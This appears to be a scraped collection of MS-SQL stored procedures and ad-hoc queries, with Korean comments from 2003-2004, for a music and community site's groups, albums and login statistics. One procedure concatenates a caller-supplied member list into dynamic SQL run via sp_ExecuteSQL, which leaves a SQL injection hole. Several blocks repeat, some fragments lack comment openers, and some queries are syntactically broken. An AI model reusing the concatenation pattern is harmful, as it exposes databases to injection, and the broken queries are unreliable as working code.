CREATE TABLE [WH_WorkCode] (
[WC_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WC_Name] [nvarchar] (20) NOT NULL ,
[WC_Desc] [nvarchar] (100) DEFAULT (''),
[WC_IsActive] [tinyint] NULL DEFAULT (1),
[WS_CD] [int] NULL DEFAULT (0),
[WC_CalculatePoint] [float] NULL DEFAULT (0.0),
[WC_IsReportView] [tinyint] NULL DEFAULT (0),
[IsDualInsert] [tinyint] NULL DEFAULT (0),
CONSTRAINT [PK_WH_WorkCode] PRIMARY KEY CLUSTERED
(
[WC_CD]
) ON [PRIMARY] ,
CONSTRAINT [FK_WH_WorkCode_WH_WorkStyle] FOREIGN KEY
(
[WS_CD]
) REFERENCES [WH_WorkStyle] (
[WS_CD]
)
) ON [PRIMARY]
GO
CREATE TABLE [WH_WorkHistory] (
[WWH_CD] [int] IDENTITY (1, 1) NOT NULL ,
[WWH_UserID] [nvarchar] (12) NOT NULL ,
[WWH_ed_CD] [int] NULL DEFAULT (0),
[WWH_et_CD] [int] NULL DEFAULT (0),
[WWH_CheckYear] [smallint] NULL DEFAULT (datepart(year,getdate())),
[WWH_CheckMonth] [tinyint] NULL DEFAULT (datepart(month,getdate())),
[WWH_CheckDay] [tinyint] NULL DEFAULT (datepart(day,getdate())),
[WWH_WC_CD] [int] NULL DEFAULT (0),
[WWH_Remark] [nvarchar] (200) NULL DEFAULT (''),
[WWH_TS_CD] [int] NULL DEFAULT (1),
[WWH_RealWorkTime] [smalldatetime] NULL DEFAULT (getdate()),
[WWH_LogTime] [datetime] NULL DEFAULT (getdate()),
[WWH_ed_CD2] [int] NULL DEFAULT (0),
[WWH_et_CD2] [int] NULL DEFAULT (0),
CONSTRAINT [PK_WH_WorkHistory] PRIMARY KEY CLUSTERED
(
[WWH_CD]
) ON [PRIMARY]
) ON [PRIMARY]
GO
Declare, Execute and sp_helptext MS-SQL
Select * From NM_UserContainer Where GroupCD<>3
Delete From NM_UserContainer Where Uc_CD in ( 358,359 )
Declare @return Int
Execute @return = NM_Set_UserGroups_sp '26,341', 4
Select @return
/*
작성자 : 한영민
작성일 : 2004-01-05
설 명 : User --> Group 에 멈버로 세팅시킨다..
*/
ALTER Procedure dbo.NM_Set_UserGroups_sp
@Mem_nos NVarchar(500) = ''
, @GroupCD INT = 0
AS
Declare @strSQL_Log NVarchar(1000), @strSQL_Real NVarchar(1000)
IF @GroupCD = 0 Or @Mem_nos = '' Begin
--Group으로 세팅 될수 없는 상황
Goto Err_Groups
End
--기존 멤버를 전부 삭제 한다.
Delete From NM_UserContainer Where GroupCD = @GroupCD
IF @@Error > 0 Goto Err_Insert
SET @strSQL_Log = 'Insert NM_UserContainerHistory (GroupCD, Mem_no, UserID, UserName, GroupTypeCD, office_code) '
SET @strSQL_Log = @strSQL_Log + 'Select ' + Convert(NVarchar(5), @GroupCD) + ', Mem_no, UserID, UserName, GroupTypeCD, office_code From NM_UserContainer '
SET @strSQL_Log = @strSQL_Log + 'Where GroupCD = 3 And Mem_no in (' + @Mem_nos + ') '
SET @strSQL_Real = 'Insert NM_UserContainer (GroupCD, Mem_no, UserID, UserName, GroupTypeCD, office_code) '
SET @strSQL_Real = @strSQL_Real + 'Select ' + Convert(NVarchar(5), @GroupCD) + ', Mem_no, UserID, UserName, GroupTypeCD, office_code From NM_UserContainer '
SET @strSQL_Real = @strSQL_Real + 'Where GroupCD = 3 And Mem_no in (' + @Mem_nos + ') '
--선택되어 온 멤버들의 로그를 남긴다..
Execute Sp_ExecuteSQL @strSQL_Log
IF @@Error > 0 Goto Err_Insert
--선택되어 온 멤버들을 그룹에 넣는다.
Execute Sp_ExecuteSQL @strSQL_Real
IF @@Error > 0 Goto Err_Insert
Return 1
Err_Groups:
Return 0
Err_Insert:
Return -1
GO
NM_GetMainCategory_sp 0, 0
sp_helptext NM_GetMainCategory_sp
/*
작성자 : 한영민
작성일 : 2003-12-29
설 명 : 관리자 관리 메뉴 해당 카테고리 서브 리턴
*/
CREATE Procedure dbo.NM_GetMainCategory_sp
@np_supCD INT = 0
, @np_CD INT = 0
AS
Select np_Cd, np_progCategoryID from dbo.NM_progCategory
Where np_IsActive = 1 And np_supCD = @np_supCD
Order by np_Point
Execute NM_GetSubCategory_sp @np_CD
/*
작성자 : 한영민
작성일 : 2004-01-16
설 명 : 관리자 Group 생성
*/
CREATE Procedure dbo.NM_Add_Groups_sp
(
@GroupName NVarchar(100) = ''
, @GroupDesc NVarchar(600) = '넷마블 사용자 정의 그룹'
, @GroupTypeCD INT = 1 --기본 사용자로 지정
)
AS
IF @GroupName = '' Goto Err_Empty
Insert NM_UserGroups (GroupName, GroupDesc, GroupTypeCD)
Values (@GroupName, @GroupDesc, @GroupTypeCD)
IF @@Error > 0 Goto Err_Empty
Return 1
Err_Empty:
Return 0
Delete From NM_UserContainer Where Uc_CD in ( 358,359 )
Declare @return Int
Execute @return = NM_Set_UserGroups_sp '26,341', 4
Select @return
/*
작성자 : 한영민
작성일 : 2004-01-05
설 명 : User --> Group 에 멈버로 세팅시킨다..
*/
ALTER Procedure dbo.NM_Set_UserGroups_sp
@Mem_nos NVarchar(500) = ''
, @GroupCD INT = 0
AS
Declare @strSQL_Log NVarchar(1000), @strSQL_Real NVarchar(1000)
IF @GroupCD = 0 Or @Mem_nos = '' Begin
--Group으로 세팅 될수 없는 상황
Goto Err_Groups
End
--기존 멤버를 전부 삭제 한다.
Delete From NM_UserContainer Where GroupCD = @GroupCD
IF @@Error > 0 Goto Err_Insert
SET @strSQL_Log = 'Insert NM_UserContainerHistory (GroupCD, Mem_no, UserID, UserName, GroupTypeCD, office_code) '
SET @strSQL_Log = @strSQL_Log + 'Select ' + Convert(NVarchar(5), @GroupCD) + ', Mem_no, UserID, UserName, GroupTypeCD, office_code From NM_UserContainer '
SET @strSQL_Log = @strSQL_Log + 'Where GroupCD = 3 And Mem_no in (' + @Mem_nos + ') '
SET @strSQL_Real = 'Insert NM_UserContainer (GroupCD, Mem_no, UserID, UserName, GroupTypeCD, office_code) '
SET @strSQL_Real = @strSQL_Real + 'Select ' + Convert(NVarchar(5), @GroupCD) + ', Mem_no, UserID, UserName, GroupTypeCD, office_code From NM_UserContainer '
SET @strSQL_Real = @strSQL_Real + 'Where GroupCD = 3 And Mem_no in (' + @Mem_nos + ') '
--선택되어 온 멤버들의 로그를 남긴다..
Execute Sp_ExecuteSQL @strSQL_Log
IF @@Error > 0 Goto Err_Insert
--선택되어 온 멤버들을 그룹에 넣는다.
Execute Sp_ExecuteSQL @strSQL_Real
IF @@Error > 0 Goto Err_Insert
Return 1
Err_Groups:
Return 0
Err_Insert:
Return -1
GO
NM_GetMainCategory_sp 0, 0
sp_helptext NM_GetMainCategory_sp
/*
작성자 : 한영민
작성일 : 2003-12-29
설 명 : 관리자 관리 메뉴 해당 카테고리 서브 리턴
*/
CREATE Procedure dbo.NM_GetMainCategory_sp
@np_supCD INT = 0
, @np_CD INT = 0
AS
Select np_Cd, np_progCategoryID from dbo.NM_progCategory
Where np_IsActive = 1 And np_supCD = @np_supCD
Order by np_Point
Execute NM_GetSubCategory_sp @np_CD
/*
작성자 : 한영민
작성일 : 2004-01-16
설 명 : 관리자 Group 생성
*/
CREATE Procedure dbo.NM_Add_Groups_sp
(
@GroupName NVarchar(100) = ''
, @GroupDesc NVarchar(600) = '넷마블 사용자 정의 그룹'
, @GroupTypeCD INT = 1 --기본 사용자로 지정
)
AS
IF @GroupName = '' Goto Err_Empty
Insert NM_UserGroups (GroupName, GroupDesc, GroupTypeCD)
Values (@GroupName, @GroupDesc, @GroupTypeCD)
IF @@Error > 0 Goto Err_Empty
Return 1
Err_Empty:
Return 0
Open Query 2 MS-SQL
/*
작성자 : 한영민
작성일 : 2003-11-04
설 명 : 각 사용자가 로그인 했을때 러브의 배경음악 선물, 프로포즈를 확인 할수 있게 함
*/
ALTER Procedure dbo.music_getBiz_sp
@UserID NVarchar(12) = 'system'
AS
DECLARE @effectRow INT, @strUserID NVarchar(12)
IF @UserID = 'system'
Goto Err
Select mp_CD , file_Code, Song_Subject ,Artist_Name,PrimaryUserID = @strUserID , Message, RegDate, Biztype, mp.Pro_Gender
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = @UserID and active = 1
SELECT mp.pro_Photo, mp.Pro_ID, Pro_Age
, dbo.fn_GetGender(Pro_Gender) AS Pro_Genders
, dbo.fn_GetUser_Area(SubString(Pro_Profile, 2, 1)) AS AREA
, Pro_Gender
FROM meet_profile AS mp INNER JOIN meet_AlbumPhoto AS map ON mp.Pro_ID=map.Pro_ID
Where map.Apt_Admin = 1 and Apt_View = 1 and mp.Pro_ID = @strUserID
IF @@Error <> 0 Goto Err
Execute @effectRow = music_setBiz_Confirm_sp @UserID
IF @effectRow = 0 Goto Err
return 1
Err:
Select 0
Select 0
return 0
music_getBiz_sp 'ICDTL'
Declare @strUserID NVARchar(12)
Select mp_CD , file_Code, Song_Subject ,Artist_Name, PrimaryUserID , Message, RegDate, Biztype, mp.Pro_Gender
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = 'icdtl' and active = 1
Select @strUserID
Update musicBiz_tbl SET active = 1 Where mp_CD in
(184,185,186,187,188,189)
Declare @strUserID NVARchar(12)
Select @strUserID = PrimaryUserID
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = 'icdtl' and active = 1
Select @strUserID
@strUserID
Select * From musicAlbum_tbl Where UserID = 'icdtl' and ma_BestAlbumActive = 0
Select * From musicAlbum_tbl
Alter Table musicAlbum_tbl
Add bestRegCount INT default(0)
Update musicAlbum_tbl SET bestRegCount = 1 Where ma_BestAlbumActive = 1
sp_helptext music_setAlbumTOBestAlbum
/*
작성자 : 한영민
작성일 : 2003-10-14
설 명 : 베스트 앨범으로 신청하기
*/
ALTER Procedure dbo.music_setAlbumTOBestAlbum
@ma_BestReg INT = 0
, @ma_CD INT
, @ma_BestTitle NVarchar(50)
, @ma_BestContent NVarchar(200)
AS
IF @ma_BestReg = 0 Begin
Return 0
End
Update musicAlbum_tbl Set ma_BestReg = @ma_BestReg, ma_BestTitle = @ma_BestTitle, ma_BestContent = @ma_BestContent, bestRegCount = bestRegCount + 1 Where ma_CD = @ma_CD
IF @@Error <> 0 Begin
GOTO Err
End
Return @@RowCount
Err:
Return 0
SP_HELPTEXT music_UserAlbumDetail_sp
/*
작성자 : 한영민
작성일 : 2003-10-15
설 명 : 나의 앨범 상세정보 현황
*/
ALTER Procedure dbo.music_UserAlbumDetail_sp
@ma_CD INT
AS
Select ma_CD, ma_Title, ma_Content, ma_image, meeting.dbo.fn_Getdate10(regDate) AS regDate, UserID ,hits, ma_BestAlbumActive
from musicAlbum_tbl
Where ma_CD = @ma_CD
/*
위 앨범에 수록된 곡목 리스팅
*/
EXECUTE music_UserAlbumContents_sp @ma_CD
UPDATE musicAlbum_tbl SET hits = hits + 1 Where ma_CD = @ma_CD
SP_HELP musicAlbum_tbl
sp_helptext music_BgSound_sp
sp_helptext music_getBiz_sp
/*
작성자 : 한영민
작성일 : 2003-11-04
설 명 : 각 사용자가 로그인 했을때 러브의 배경음악 선물, 프로포즈를 확인 할수 있게 함
*/
ALTER Procedure dbo.music_getBiz_sp
@UserID NVarchar(12) = 'system'
AS
DECLARE @effectRow INT, @strUserID NVarchar(12)
IF @UserID = 'system'
Goto Err
Select @strUserID = PrimaryUserID
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = @UserID and active = 1
SELECT mp.pro_Photo, mp.Pro_ID, Pro_Age
, dbo.fn_GetGender(Pro_Gender) AS Pro_Genders
, dbo.fn_GetUser_Area(SubString(Pro_Profile, 2, 1)) AS AREA
, Pro_Gender
FROM meet_profile AS mp Left Outer JOIN meet_AlbumPhoto AS map ON mp.Pro_ID=map.Pro_ID
Where mp.Pro_ID = @strUserID
Select mp_CD , file_Code, Song_Subject ,Artist_Name,PrimaryUserID, Message, RegDate, Biztype, mp.Pro_Gender
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.ForeignUserID = mp.Pro_ID
Where ForeignUserID = @UserID and active = 1
IF @@Error <> 0 Goto Err
return 1
Err:
Select 0
Select 0
return 0
Select * from musicAlbum_tbl Where ma_CD =31
update musicAlbum_tbl set regdate = getdate() Where ma_CD =31
작성자 : 한영민
작성일 : 2003-11-04
설 명 : 각 사용자가 로그인 했을때 러브의 배경음악 선물, 프로포즈를 확인 할수 있게 함
*/
ALTER Procedure dbo.music_getBiz_sp
@UserID NVarchar(12) = 'system'
AS
DECLARE @effectRow INT, @strUserID NVarchar(12)
IF @UserID = 'system'
Goto Err
Select mp_CD , file_Code, Song_Subject ,Artist_Name,PrimaryUserID = @strUserID , Message, RegDate, Biztype, mp.Pro_Gender
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = @UserID and active = 1
SELECT mp.pro_Photo, mp.Pro_ID, Pro_Age
, dbo.fn_GetGender(Pro_Gender) AS Pro_Genders
, dbo.fn_GetUser_Area(SubString(Pro_Profile, 2, 1)) AS AREA
, Pro_Gender
FROM meet_profile AS mp INNER JOIN meet_AlbumPhoto AS map ON mp.Pro_ID=map.Pro_ID
Where map.Apt_Admin = 1 and Apt_View = 1 and mp.Pro_ID = @strUserID
IF @@Error <> 0 Goto Err
Execute @effectRow = music_setBiz_Confirm_sp @UserID
IF @effectRow = 0 Goto Err
return 1
Err:
Select 0
Select 0
return 0
music_getBiz_sp 'ICDTL'
Declare @strUserID NVARchar(12)
Select mp_CD , file_Code, Song_Subject ,Artist_Name, PrimaryUserID , Message, RegDate, Biztype, mp.Pro_Gender
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = 'icdtl' and active = 1
Select @strUserID
Update musicBiz_tbl SET active = 1 Where mp_CD in
(184,185,186,187,188,189)
Declare @strUserID NVARchar(12)
Select @strUserID = PrimaryUserID
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = 'icdtl' and active = 1
Select @strUserID
@strUserID
Select * From musicAlbum_tbl Where UserID = 'icdtl' and ma_BestAlbumActive = 0
Select * From musicAlbum_tbl
Alter Table musicAlbum_tbl
Add bestRegCount INT default(0)
Update musicAlbum_tbl SET bestRegCount = 1 Where ma_BestAlbumActive = 1
sp_helptext music_setAlbumTOBestAlbum
/*
작성자 : 한영민
작성일 : 2003-10-14
설 명 : 베스트 앨범으로 신청하기
*/
ALTER Procedure dbo.music_setAlbumTOBestAlbum
@ma_BestReg INT = 0
, @ma_CD INT
, @ma_BestTitle NVarchar(50)
, @ma_BestContent NVarchar(200)
AS
IF @ma_BestReg = 0 Begin
Return 0
End
Update musicAlbum_tbl Set ma_BestReg = @ma_BestReg, ma_BestTitle = @ma_BestTitle, ma_BestContent = @ma_BestContent, bestRegCount = bestRegCount + 1 Where ma_CD = @ma_CD
IF @@Error <> 0 Begin
GOTO Err
End
Return @@RowCount
Err:
Return 0
SP_HELPTEXT music_UserAlbumDetail_sp
/*
작성자 : 한영민
작성일 : 2003-10-15
설 명 : 나의 앨범 상세정보 현황
*/
ALTER Procedure dbo.music_UserAlbumDetail_sp
@ma_CD INT
AS
Select ma_CD, ma_Title, ma_Content, ma_image, meeting.dbo.fn_Getdate10(regDate) AS regDate, UserID ,hits, ma_BestAlbumActive
from musicAlbum_tbl
Where ma_CD = @ma_CD
/*
위 앨범에 수록된 곡목 리스팅
*/
EXECUTE music_UserAlbumContents_sp @ma_CD
UPDATE musicAlbum_tbl SET hits = hits + 1 Where ma_CD = @ma_CD
SP_HELP musicAlbum_tbl
sp_helptext music_BgSound_sp
sp_helptext music_getBiz_sp
/*
작성자 : 한영민
작성일 : 2003-11-04
설 명 : 각 사용자가 로그인 했을때 러브의 배경음악 선물, 프로포즈를 확인 할수 있게 함
*/
ALTER Procedure dbo.music_getBiz_sp
@UserID NVarchar(12) = 'system'
AS
DECLARE @effectRow INT, @strUserID NVarchar(12)
IF @UserID = 'system'
Goto Err
Select @strUserID = PrimaryUserID
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.PrimaryUserID = mp.Pro_ID
Where ForeignUserID = @UserID and active = 1
SELECT mp.pro_Photo, mp.Pro_ID, Pro_Age
, dbo.fn_GetGender(Pro_Gender) AS Pro_Genders
, dbo.fn_GetUser_Area(SubString(Pro_Profile, 2, 1)) AS AREA
, Pro_Gender
FROM meet_profile AS mp Left Outer JOIN meet_AlbumPhoto AS map ON mp.Pro_ID=map.Pro_ID
Where mp.Pro_ID = @strUserID
Select mp_CD , file_Code, Song_Subject ,Artist_Name,PrimaryUserID, Message, RegDate, Biztype, mp.Pro_Gender
From musicBiz_tbl AS mb INNER JOIN meet_profile AS mp
ON mb.ForeignUserID = mp.Pro_ID
Where ForeignUserID = @UserID and active = 1
IF @@Error <> 0 Goto Err
return 1
Err:
Select 0
Select 0
return 0
Select * from musicAlbum_tbl Where ma_CD =31
update musicAlbum_tbl set regdate = getdate() Where ma_CD =31
Open Query 1 MS-SQL
/*
작성자 : 한염민
작성일 : 2003-10-31
설 명 : 배경음악 선곡
*/
ALTER Procedure dbo.music_BgSound_sp
@mar_CD INT = 0
, @ReturnMsg NVarchar(20) Output
AS
IF @mar_CD = 0 Begin
Goto Err
End
Declare @isBool INT, @LimitCount INT, @UserID NVarchar(12)
SET @isBool = 0
SET @LimitCount = 0
SET @UserID = ''
Select @UserID = UserID From musicAlbumRecord_tbl Where mar_CD = @mar_CD
IF @UserID='' Or @UserID is null Begin
Set @ReturnMsg = ' 보유음악에 대한 권한이 없습니다.'
Goto Err
End
Select @LimitCount =Count(*) from musicBgSound AS mbs INNER JOIN musicAlbumRecord_tbl AS mar
ON mbs.mar_CD = mar.mar_CD
Where mar.UserID = @UserID
IF @LimitCount >=10 Begin
Set @ReturnMsg = '배경음악은 10곡을 넘길수 없습니다.'
Goto Err
End
Select @isBool = Count(mar_CD) From musicBgSound Where mar_CD = @mar_CD
IF @isBool > 0 Begin
Set @ReturnMsg = '이미 선곡한 배경음악 입니다.'
Goto Err
End
INSERT musicBgSound(mar_CD) Values(@mar_CD)
iF @@Identity > 0 Begin
Set @ReturnMsg = '배경 음악 선곡 완료'
Return 1
End
Else Begin
Set @ReturnMsg = '네트워크 장애 또는 DataBase 문제 입니다.'
Goto Err
End
Err:
Return 0
/*
작성자 : 한영민
작성일 : 2003-10-06
설 명 : 새로 배경음악을 지정할때 기존 곡을 삭제하고 다시 담기로 정책 변경
*/
CREATE Procedure dbo.music_del_BgSound_sp
@UserID NVarchar(12) = 'system'
AS
IF @UserID = 'system' Goto Err
Delete from musicBgSound Where mar_CD IN (
Select mar_CD From musicAlbumRecord_tbl
Where UserID = @UserID)
Return 1
Err:
Return 0
Select * from musicBgSound AS mbs INNER JOIN musicAlbumRecord_tbl AS mar
ON mbs.mar_CD = mar.mar_CD
Where mar.UserID = 'icdtl'
SP_HELPTEXT music_bestAlbumContents_sp
/*
작성자 : 한영민
작성일 : 2003-10-13
설 명 : 오늘의 베스트 앨범 & 하위 TOP 5 수록곡
*/
CREATE Procedure music_bestAlbumContents_sp
@Sel_Mode INT = 1
AS
Declare @ma_CD INT
Select Top 1 ma_CD , ma_Title, ma_Content, ma_Image, Convert(Varchar(10), regDate, 21) AS regDate ,UserID
From musicAlbum_tbl
Where ma_BestReg = 1 and ma_BestAlbumActive = 1
Order by regDate desc
--and RegDate > Convert(Varchar(10), Getdate(), 20)
--and RegDate < Convert(Varchar(10), DateAdd(day,1,Getdate()), 20)
Select Top 1 @ma_CD = ma_CD From musicAlbum_tbl
Where ma_BestReg = 1 and ma_BestAlbumActive = 1
Order by regDate desc --RegDate > Convert(Varchar(10), Getdate(), 20)and RegDate < Convert(Varchar(10), DateAdd(day,1,Getdate()), 20)
Select Top 10 mar.mar_CD, mar.mc_CD, mar.UserID, mc.mc_Subject, mc.mc_Artist, mc.m_CD, m.m_GroupDesc, mc.file_code
From musicAlbumRecord_tbl AS mar
INNER JOIN musicContents_tbl AS mc ON mar.mc_CD = mc.mc_CD
INNER JOIN musicGenre_tbl AS m ON m.m_CD = mc.m_CD
Where ma_CD = @ma_CD
IF @Sel_Mode=1 Begin --M_S_1 부분에서 호출
Select aid, Convert(nVarchar(20), album_explain) AS album_explain, album_name, img_name From musicCityAlbum Where album_theme = 1 and active = 1 Order by signdate desc
End
sp_helptext music_AlbumBuy_sp
Text
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
/*
작성자 : 한영민
작성일 : 2003-10-27
설 명 : 앨범 리스트
*/
CREATE PROCEDURE dbo.music_AlbumBuy_sp
@aid INT = 0
, @ma_CD INT = 0
AS
IF @aid <> 0 Begin
Select aid, artist_name, img_name, abuyCnt, price
From musicCityAlbum
Where aid = @aid and active = 1
Select file_code, song_subject, price, sellprice, discountRate from musicCityContents
Where album_uid = @aid
End
IF @ma_CD <> 0 Begin
Select ma_CD, ma_Title, ma_image
From musicAlbum_tbl
Where ma_CD = @ma_CD
Select mc.file_code, mc.mc_subject, mcc.price, mcc.sellprice, mcc.discountRate from dbo.musicAlbumRecord_tbl AS mar
INNER JOIN musicContents_tbl AS mc ON mar.mc_CD = mc.mc_CD
INNER JOIN musicCityContents AS mcc ON mc.file_code = mcc.file_code
Where ma_CD = @ma_CD
End
IF @@Error != 0 Begin
Goto Err
End
Return
Err:
Select Null
Return
Select *
From musicCityAlbum
Where aid = 59 and active = 1
Select file_code, song_subject, price, sellprice, discountRate from musicCityContents
Where file_code in
Select song_list From musicCityAlbum
Where aid = 59 and active = 1
Select * from musicCityContents
Where file_code in(
96950.96951,96952,96953,96954,96955,96956,96957,96958,96959,96960,96961,96962,96963,96964,96965
)
Select * from musicCityContents
작성자 : 한염민
작성일 : 2003-10-31
설 명 : 배경음악 선곡
*/
ALTER Procedure dbo.music_BgSound_sp
@mar_CD INT = 0
, @ReturnMsg NVarchar(20) Output
AS
IF @mar_CD = 0 Begin
Goto Err
End
Declare @isBool INT, @LimitCount INT, @UserID NVarchar(12)
SET @isBool = 0
SET @LimitCount = 0
SET @UserID = ''
Select @UserID = UserID From musicAlbumRecord_tbl Where mar_CD = @mar_CD
IF @UserID='' Or @UserID is null Begin
Set @ReturnMsg = ' 보유음악에 대한 권한이 없습니다.'
Goto Err
End
Select @LimitCount =Count(*) from musicBgSound AS mbs INNER JOIN musicAlbumRecord_tbl AS mar
ON mbs.mar_CD = mar.mar_CD
Where mar.UserID = @UserID
IF @LimitCount >=10 Begin
Set @ReturnMsg = '배경음악은 10곡을 넘길수 없습니다.'
Goto Err
End
Select @isBool = Count(mar_CD) From musicBgSound Where mar_CD = @mar_CD
IF @isBool > 0 Begin
Set @ReturnMsg = '이미 선곡한 배경음악 입니다.'
Goto Err
End
INSERT musicBgSound(mar_CD) Values(@mar_CD)
iF @@Identity > 0 Begin
Set @ReturnMsg = '배경 음악 선곡 완료'
Return 1
End
Else Begin
Set @ReturnMsg = '네트워크 장애 또는 DataBase 문제 입니다.'
Goto Err
End
Err:
Return 0
/*
작성자 : 한영민
작성일 : 2003-10-06
설 명 : 새로 배경음악을 지정할때 기존 곡을 삭제하고 다시 담기로 정책 변경
*/
CREATE Procedure dbo.music_del_BgSound_sp
@UserID NVarchar(12) = 'system'
AS
IF @UserID = 'system' Goto Err
Delete from musicBgSound Where mar_CD IN (
Select mar_CD From musicAlbumRecord_tbl
Where UserID = @UserID)
Return 1
Err:
Return 0
Select * from musicBgSound AS mbs INNER JOIN musicAlbumRecord_tbl AS mar
ON mbs.mar_CD = mar.mar_CD
Where mar.UserID = 'icdtl'
SP_HELPTEXT music_bestAlbumContents_sp
/*
작성자 : 한영민
작성일 : 2003-10-13
설 명 : 오늘의 베스트 앨범 & 하위 TOP 5 수록곡
*/
CREATE Procedure music_bestAlbumContents_sp
@Sel_Mode INT = 1
AS
Declare @ma_CD INT
Select Top 1 ma_CD , ma_Title, ma_Content, ma_Image, Convert(Varchar(10), regDate, 21) AS regDate ,UserID
From musicAlbum_tbl
Where ma_BestReg = 1 and ma_BestAlbumActive = 1
Order by regDate desc
--and RegDate > Convert(Varchar(10), Getdate(), 20)
--and RegDate < Convert(Varchar(10), DateAdd(day,1,Getdate()), 20)
Select Top 1 @ma_CD = ma_CD From musicAlbum_tbl
Where ma_BestReg = 1 and ma_BestAlbumActive = 1
Order by regDate desc --RegDate > Convert(Varchar(10), Getdate(), 20)and RegDate < Convert(Varchar(10), DateAdd(day,1,Getdate()), 20)
Select Top 10 mar.mar_CD, mar.mc_CD, mar.UserID, mc.mc_Subject, mc.mc_Artist, mc.m_CD, m.m_GroupDesc, mc.file_code
From musicAlbumRecord_tbl AS mar
INNER JOIN musicContents_tbl AS mc ON mar.mc_CD = mc.mc_CD
INNER JOIN musicGenre_tbl AS m ON m.m_CD = mc.m_CD
Where ma_CD = @ma_CD
IF @Sel_Mode=1 Begin --M_S_1 부분에서 호출
Select aid, Convert(nVarchar(20), album_explain) AS album_explain, album_name, img_name From musicCityAlbum Where album_theme = 1 and active = 1 Order by signdate desc
End
sp_helptext music_AlbumBuy_sp
Text
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
/*
작성자 : 한영민
작성일 : 2003-10-27
설 명 : 앨범 리스트
*/
CREATE PROCEDURE dbo.music_AlbumBuy_sp
@aid INT = 0
, @ma_CD INT = 0
AS
IF @aid <> 0 Begin
Select aid, artist_name, img_name, abuyCnt, price
From musicCityAlbum
Where aid = @aid and active = 1
Select file_code, song_subject, price, sellprice, discountRate from musicCityContents
Where album_uid = @aid
End
IF @ma_CD <> 0 Begin
Select ma_CD, ma_Title, ma_image
From musicAlbum_tbl
Where ma_CD = @ma_CD
Select mc.file_code, mc.mc_subject, mcc.price, mcc.sellprice, mcc.discountRate from dbo.musicAlbumRecord_tbl AS mar
INNER JOIN musicContents_tbl AS mc ON mar.mc_CD = mc.mc_CD
INNER JOIN musicCityContents AS mcc ON mc.file_code = mcc.file_code
Where ma_CD = @ma_CD
End
IF @@Error != 0 Begin
Goto Err
End
Return
Err:
Select Null
Return
Select *
From musicCityAlbum
Where aid = 59 and active = 1
Select file_code, song_subject, price, sellprice, discountRate from musicCityContents
Where file_code in
Select song_list From musicCityAlbum
Where aid = 59 and active = 1
Select * from musicCityContents
Where file_code in(
96950.96951,96952,96953,96954,96955,96956,96957,96958,96959,96960,96961,96962,96963,96964,96965
)
Select * from musicCityContents
Goto IN Procedure MS-SQL
/*
Writer : Han Yeong Min
Regdate : 2004-08-25
Description : Logon Statictics by Gender
*/
ALTER Procedure dbo.up_LogonStatictics_SPM_Get
@SelMode TinyINT = 0
, @DayStyleMode TinyINT = 0
, @SearchDate Varchar(10) = ''
AS
IF @SelMode = 1 Goto ByGender
IF @SelMode = 2 Goto ByAgeRate
ByGender:
IF @DayStyleMode = 1 Goto ByGender_Day
IF @DayStyleMode = 2 Goto ByGender_Week
IF @DayStyleMode = 3 Goto ByGender_Month
IF @DayStyleMode = 4 Goto ByGender_Year
Return
ByAgeRate:
IF @DayStyleMode = 1 Goto ByAgeRate_Day
IF @DayStyleMode = 2 Goto ByAgeRate_Week
IF @DayStyleMode = 3 Goto ByAgeRate_Month
IF @DayStyleMode = 4 Goto ByAgeRate_Year
Return
ByGender_Day:
Execute dbo.sp_Statictics_Logon_Sex_Daily_Get @SearchDate
Return
ByGender_Week:
Execute dbo.sp_Statictics_Logon_Sex_Weekend_Get @SearchDate
Return
ByGender_Month:
Execute sp_Statictics_Logon_Sex_monthly_Get @SearchDate
Return
ByGender_Year:
Select 'sex_year'
Return
ByAgeRate_Day:
Execute sp_Statictics_Logon_AgeRate_Daily_Get @SearchDate
Return
ByAgeRate_Week:
Execute sp_Statictics_Logon_AgeRate_WeekEnd_Get @SearchDate
Return
ByAgeRate_Month:
Execute sp_Statictics_Logon_AgeRate_Monthly_Get @SearchDate
Return
ByAgeRate_Year:
Select 'age_year'
Return
Go
-------------------- Result by procedure -----------------------
--By Sex And Daily
Execute up_LogonStatictics_SPM_Get 1, 1, '2004-08-11'
--By Sex And WeekDay
Execute up_LogonStatictics_SPM_Get 1, 2, '2004-08-11'
--By Sex And Month
Execute up_LogonStatictics_SPM_Get 1, 3, '2004-08-11'
--By Sex And Year
Execute up_LogonStatictics_SPM_Get 1, 4, '2004-08-11'
--By AgeRate And Daily
Execute up_LogonStatictics_SPM_Get 2, 1, '2004-08-11'
--By AgeRate And WeekDay
Execute up_LogonStatictics_SPM_Get 2, 2, '2004-08-11'
--By AgeRate And Month
Execute up_LogonStatictics_SPM_Get 2, 3, '2004-08-11'
--By AgeRate And Year
Execute up_LogonStatictics_SPM_Get 2, 4, '2004-08-11'
Writer : Han Yeong Min
Regdate : 2004-08-25
Description : Logon Statictics by Gender
*/
ALTER Procedure dbo.up_LogonStatictics_SPM_Get
@SelMode TinyINT = 0
, @DayStyleMode TinyINT = 0
, @SearchDate Varchar(10) = ''
AS
IF @SelMode = 1 Goto ByGender
IF @SelMode = 2 Goto ByAgeRate
ByGender:
IF @DayStyleMode = 1 Goto ByGender_Day
IF @DayStyleMode = 2 Goto ByGender_Week
IF @DayStyleMode = 3 Goto ByGender_Month
IF @DayStyleMode = 4 Goto ByGender_Year
Return
ByAgeRate:
IF @DayStyleMode = 1 Goto ByAgeRate_Day
